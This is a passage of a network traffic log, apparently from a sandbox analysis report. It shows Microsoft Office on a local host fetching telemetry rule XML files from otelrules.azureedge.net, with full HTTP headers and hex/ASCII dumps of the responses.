DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	62943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:18 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162718Z-16849878b78q9m8bqvwuva4svc000000087g00000000qbgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	62944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162718Z-16849878b78j7llf5vkyvvcehs0000000awg000000009thz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	62942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:18 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: df60bdc9-601e-0001-126b-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162718Z-17c5cb586f6p5pndayxh2uxv5400000001h0000000000409 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	62945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:18 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162718Z-16849878b78fkwcjkpn19c5dsn00000008u000000000ccb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	62946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:18 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162718Z-16849878b78sx229w7g7at4nkg00000007zg00000000kuhw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	62947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:19 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c633743c-801e-007b-7ea5-2ae7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162719Z-17c5cb586f6tg7hbbt0rp19dan000000021000000000fcnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	62948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:19 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162719Z-16849878b78j7llf5vkyvvcehs0000000ayg000000002b80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	62949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:19 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162719Z-16849878b782d4lwcu6h6gmxnw00000009hg000000001vxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	62950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6d58be1b-301e-0052-189d-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162719Z-17c5cb586f69w69mgazyf263an000000090g00000000c4p2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	62951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:19 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c91dfad3-401e-0015-1dd2-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162719Z-17c5cb586f659tsm88uwcmn6s4000000028g00000000b16f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	62952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:19 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162720Z-16849878b7867ttgfbpnfxt44s00000009h000000000vwga x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	62953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
